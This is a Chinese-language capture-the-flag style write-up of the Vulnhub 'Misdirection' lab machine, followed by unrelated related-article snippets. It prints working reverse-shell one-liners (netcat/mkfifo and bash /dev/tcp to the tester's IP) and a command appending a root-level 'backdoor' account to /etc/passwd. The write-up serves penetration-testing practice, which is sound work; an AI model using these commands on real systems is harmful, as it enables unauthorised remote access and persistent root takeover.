红队打靶:Misdirection打靶思路详解(vulnhub)

news2024/11/17 11:44:20

目录

写在开头

第一步:主机发现与端口扫描 

第二步:Web渗透(80端口,战术放弃)

第三步:Web渗透(8080端口)

第四步:sudo bash提权 

第五步:/etc/passwd利用提权

总结与思考

写在开头

   本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Misdirection靶机也很简单,对于我们的启发就是渗透优先级的选择,当遇到攻击面暴露较多的路径时,可以先放一放,避免走进死胡同死磕不得解,应当优先渗透相对容易的方向或容易尝试的方向。本文涉及到的知识点包括:信息收集的技巧、常见反弹shell语句、sudo bash提权、viminfo敏感信息、/etc/passwd可写提权等,完整的打靶思路详见:

「红队笔记」靶机精讲:Misdirection - 渗透目标选择的优先级很重要,死磕一处和快速跳跃的权衡和智慧。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见: 

Misdirection: 1 ~ VulnHub

 下载链接见:

https://download.vulnhub.com/misdirection/Misdirection.zip

  这个靶机好像用VMware和Virtual Box都可以,我就用VMware了,将靶机的网络设置为NAT模式,靶机打开如下图所示: 

第一步:主机发现与端口扫描 

  常规思路,这里不细讲了。我kali的ip是10.10.10.128,主机发现靶机的ip是10.10.10.155,扫描出开放的TCP端口仅有22,80,3306和8080,具体命令如下:

nmap -sn 10.10.10.0/24    //主机发现
nmap -sT --min-rate 10000 10.10.10.155      //TCP全端口扫描
nmap -sT -sC -sV -O -p22,80,3306,8080 10.10.10.155      //用默认脚本扫描服务信息、操作系统版本
nmap --script=vuln -p22,80,3306,8080 10.10.10.155  //漏洞脚本扫描
nmap -sU --top-ports 20 10.10.10.155    //探测UDP最常见的20个端口的开放情况

   信息挺多的,核心还是web端,可能80端口和8080端口都能作为攻击的入口点,同时3306是MySQL,也有可能存储一些关键信息。

第二步:Web渗透(80端口,战术放弃)

  常规思路还是先看web端,浏览器访问靶机ip,界面如下:

 感觉像是个挺正规的产品介绍网站,主要产品貌似是“免费可信赖的在线投票系统”。感觉像是有CMS,页面最下方有个banner说明这个网站使用web2py部署的:

 点击链接可以查看web2py,很遗憾,这不是什么CMS,好像是个开发框架,不太了解,那我们回头再研究相关漏洞:

 再回到初始页面,还是感觉页面的东西还是非常多,还有很多注册页面,甚至还有一个Source Code可以查看E-vote的源代码,在github上:

另外回头看一眼刚刚nmap漏洞扫描的结果,可以发现一些敏感的路径。比如/admin之类的

 尝试访问漏洞脚本扫描中的几个目录枚举路径,很遗憾,都没啥收获:

 另外漏洞脚本也暴露潜在的sql注入信息,感觉这个web的80端口入口点太多了,我有点不知所措了。另外目录爆破还没做呢。

  世上无难事,只要肯放弃。于是我们先摆烂,跳过对80端口的渗透,因为突破口不太明显,可以尝试的地方比较多,容易在一个地方死磕浪费时间,不如先战略性放弃,如果8080端口没有突破口再回来看。

第三步:Web渗透(8080端口)

   于是乎我们战略性跳过80端口,先看看8080端口有没有明显的突破口,访问浏览器,靶机ip:8080,就是个常规的apache页面:

   回看nmap漏洞扫描脚本中关于8080端口的信息:发现有许多潜在的敏感目录:

依次尝试访问,最后在debug目录发现了神奇的景象:

 直接把shell暴露在web页面了,这也太关键了。尝试输入whoami可以看到这是www-data的目录, 怪不得这个靶机的名称叫Misdirection,关键点在这儿呢!前面80端口复杂的web页面的估计都是误导哈哈哈。那么我们尝试反弹shell,把这个webshell迁移到我们的kali中,首先在kali中nc监听4444端口:

   然后在webshell中输入以下两个命令中的任意一个均可实现反弹shell(别忘了修改ip为你的kali):

//以下两行任意一行都可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f
bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"

第四步:sudo bash提权 

  接下来就是提权了,通常来说www-data的权限是很小的。我们尝试sudo -l

 看来是一波送分了。竟然可以免密运行bash,切换到brexit用户中,那么我们尝试提权:

sudo -u brexit /bin/bash

提权成功了!不过这个shell的交互性不是很好,我们尝试用python提高交互性:

python -c "import pty;pty.spawn('/bin/bash')"

  查看user flag,就在brexit的家目录下:

第五步:/etc/passwd利用提权

经过一番搜索无果(sudo -l ,自动任务等)之后,在家目录中发现了一个隐藏的敏感文件,即.viminfo,这个文件应该是vim的历史信息。

 查看.viminfo可以发现brexit这个用户曾经用vim编辑过/etc/passwd:

 莫非当前brexit用户拥有对/etc/passwd的写权限?查看/etc/passwd的权限:

  还真是有写权限,恰好属组就是brexit,那么问题就简单了,我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是myroot,密码设置为123456,用openssl生成对应的hash如下:

openssl passwd -1 123456

  然后我们仿照/etc/passwd的格式生成一个账号backdoor和密码123456:

backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash 

  接着把这条记录添加到/etc/passwd中,可以直接vim编辑,也可以用echo追加(特别注意,echo内容的引号必须是单引号,不能是双引号):

echo 'backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash' >> /etc/passwd

添加完成后用su切换为backdoor用户,输入密码123456即可提权:

 提权成功,flag位于/root目录下:

至此打靶完成。

总结与思考

  这个靶机如果死磕80端口的话可能很难成功,但是题目名字Misdirection本身就给了我们提示。何谓”误导“?看似复杂,不知道从何下手的80端口就是误导。这个靶机的关键点就是发现8080端口下的/debug目录直接暴露了webshell。本次打靶的启发就是渗透优先级的选择:优先渗透攻击面明显、相对容易操作、步骤简单的攻击面,把复杂,不知从何入手的端口的渗透优先级降低。最后总结一下打靶过程:

第一步:主机发现和端口扫描。常规思路,发现四个常规端口22,80,3306,8080。重点关注漏洞扫描脚本中的目录枚举。

第二步:80端口渗透。看着就头大,信息非常多,战略性暂时放弃。

第三步:8080端口渗透。发现关键目录/debug存在webshell,直接暴露了www-data的shell,构造反弹shell将此webshell转移至本地kali交互。

第四步:sudo提权,发现可以sudo bash转换到brexit用户,初步提权到了brexit的权限。

第五步:可写/etc/passwd提权,在brexit家目录发现敏感文件.viminfo,暴露了对passwd的编辑历史,说明passwd对于用户brexit可写,于是追加高权限的用户信息到passwd,再su即可提权。

    这个靶机到这里就结束了。说实话,这个靶机的总结我拖了好几天才写完,主要还是感觉动力不足,没有太多的额外知识点,关键在于不能死磕80端口。总结一篇博客真的挺耗时的,恳请各位读者多多点赞关注支持啦。学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1125311.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt程序的发布和打包,任何电脑都可以安装

## 1. Qt程序的发布 当Qt程序编写完成通过IDE编译就可以得到对应的可执行程序,这个可执行程序在本地运行是完全没有问题的(因为在本地有Qt环境,程序运行过程中可以加载到相关的动态库),但是如果我们想把这个Qt程序给到其他小伙伴使用可能就会出问题了,原因如下: 对方电…

Leetcode刷题详解——二分查找

1. 题目链接:704. 二分查找 2. 题目描述: 给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标,否则返回 -1。 示例 1…

【线程本地变量ThreadLocal】—— 每天一点小知识

💧 线程本地变量 T h r e a d L o c a l \color{#FF1493}{线程本地变量ThreadLocal} 线程本地变量ThreadLocal💧 🌷 仰望天空,妳我亦是行人.✨ 🦄 个人主页——微风撞见云的博客🎐 🐳…

ES挂载不上怎么处理?

全文搜索 EelasticSearch安装 Docker安装 docker run -d --name es7 -e ES_JAVA_POTS"-Xms256m -Xmx256m" -e "discovery.typesingle-node" -v /home/206/es7/data/:/usr/share/elasticsearch/data -p 9200:9200 -p 9300:9300 elasticsearch:7.14.0 …

CANoe-使用IG Ethernet Packet Builder实现IP包分片的若干问题

在文章《CANoe-Ethernet IG和Ethernet Packet Builder的使用和区别》中,我们讲过Packet Builder可以组装多种类型的以太网报文: 当我们想组装一条icmpv4 echo request报文,payload只有1个字节的数据FF时,选择ICMPv4 Packet,创建一条ICMPv4报文,把payload改为1个字节: 然…

【类和对象之构造方法】

文章目录 用构造方法初始化对象格式:public类名特性 快捷键生成构造方法访问修饰限定符总结 用构造方法初始化对象 格式:public类名 注意区分成员方法和构造方法 两者都是在类当中但是成员方法的格式是public返回值方法名参数成员方法有参数&#xff…

Java中整数基础知识

原文链接 Java中整数基础知识 最近做了一道题,非常有意思,题本身很简单,但涉及到整数的最大值以及最小值,当写测试用例的时候,却犯了一个错误,发现最小整数并不是0xFFFFFFFF,我们来仔细看一下。…

网络协议--UDP:用户数据报协议

11.1 引言 UDP是一个简单的面向数据报的运输层协议:进程的每个输出操作都正好产生一个UDP数据报,并组装成一份待发送的IP数据报。这与面向流字符的协议不同,如TCP,应用程序产生的全体数据与真正发送的单个IP数据报可能没有什么联…

Citrix XenDesktop云桌面单点登录XenApp虚拟应用小技巧

哈喽大家好,欢迎来到虚拟化时代君(XNHCYL)。 “ 大家好,我是虚拟化时代君,一位潜心于互联网的技术宅男。这里每天为你分享各种你感兴趣的技术、教程、软件、资源、福利……(每天更新不间断,福利不见不散)” 第1章 前言 实现XenDesktop的桌面打开XenApp发布的应用…

为什么我们从github clone下来的maven项目本地运行报错

github上的项目clone到本地,比如是个Springboot的项目,我们用idea运行莫名其妙的报各种问题,常见的有以下异常: java.lang.NoClassDefFoundError:xxxxjava.lang.ClassNotFoundException:xxxxxjava.lang.NoSuchMethodE…

64 最长公共子序列

最长公共子序列 题解1 DP 给定两个字符串 text1 和 text2,返回这两个字符串的 最长公共子序列的长度。如果不存在 公共子序列,返回 0 。 一个字符串的子序列是指这样一个新的字符串:它是由原字符串在不改变字符的相对顺序的情况下删除某些…

【CCF】Z字形扫描

这题的关键是将整个扫描的过程,拆分成很多次斜着操作数组的过程。 而且这个过程中可以建立如下规律: (1)一斜线上的元素个数与切换到下一条斜线这一操作之间建立规律。 先讨论左上部分的数组: 1)当元素个…

本地部署Stackedit Markdown编辑器并通过cpolar内网穿透实现远程访问

文章目录 1. docker部署Stackedit2. 本地访问3. Linux 安装cpolar4. 配置Stackedit公网访问地址5. 公网远程访问Stackedit6. 固定Stackedit公网地址 StackEdit是一个受欢迎的Markdown编辑器,在GitHub上拥有20.7k Star!,它支持将Markdown笔记保…

指针-Pointer

0.1 地址 (1)字节(Byte) 一个字节存储8位无符号数(1Byte 8 bit),每个字节储存的数值范围为0-255 (2)内存 1G 1024M 、1M 1024K 、 1K 1024Byte 、1Byte 8 bit (3&#xff…

谈谈你对spring boot 3.0的理解

谈谈你对spring boot 3.0的理解 一,Spring Boot 3.0 的兼容性 Spring Boot 3.0 在兼容性方面做出了很大的努力,以支持存量项目和老项目。尽管如此,仍需注意以下几点: Java 版本要求:Spring Boot 3.0 要求使用 Java 1…

高等数学啃书汇总重难点(五)定积分

最近都在忙着刷题,尤其是政治和英语也开始加量复习了,该系列断更了将近2个月~不过最近在刷题的时候又遇到一些瓶颈,因此回归基础来整理一下知史点~ 总的来说,虽然第五章也是重中之重,定理数量也很多,但&…

通过条件竞争实现内核提权

条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于…

There are not enough slots available in the system to satisfy the 48 slots报错

文章目录 问题描述解决办法 问题描述 多核运行时出现这个错误,减少核数运行正常 解决办法 输出命令 vim ~/.bashrc添加 alias mpirunmpirun --oversubscribe执行命令 source ~/.bashrc解决。

imu预积分学习(更新中)

imu预积分学习(更新中) IMU预积分可以做什么? 以上面那个经典图片为例子,IMU可以通过六轴数据,拿到第i帧和第j帧之间的相对位姿,这样不就可以去用来添加约束了吗 但是有一个比较大的问题是: I…

电脑技巧:27个Office使用小技巧,值得收藏

目录 一、Word 二、EXCEL 三、附文:Word和Excel快捷键 我们中的绝大部分人都使用微软的Office,但是我们是否都了解如何能够最有效地使用它?我们在这里列举了一些关于使用Word和Excel的窍门。 我们使用最多的软件可能就是办公软件了——字…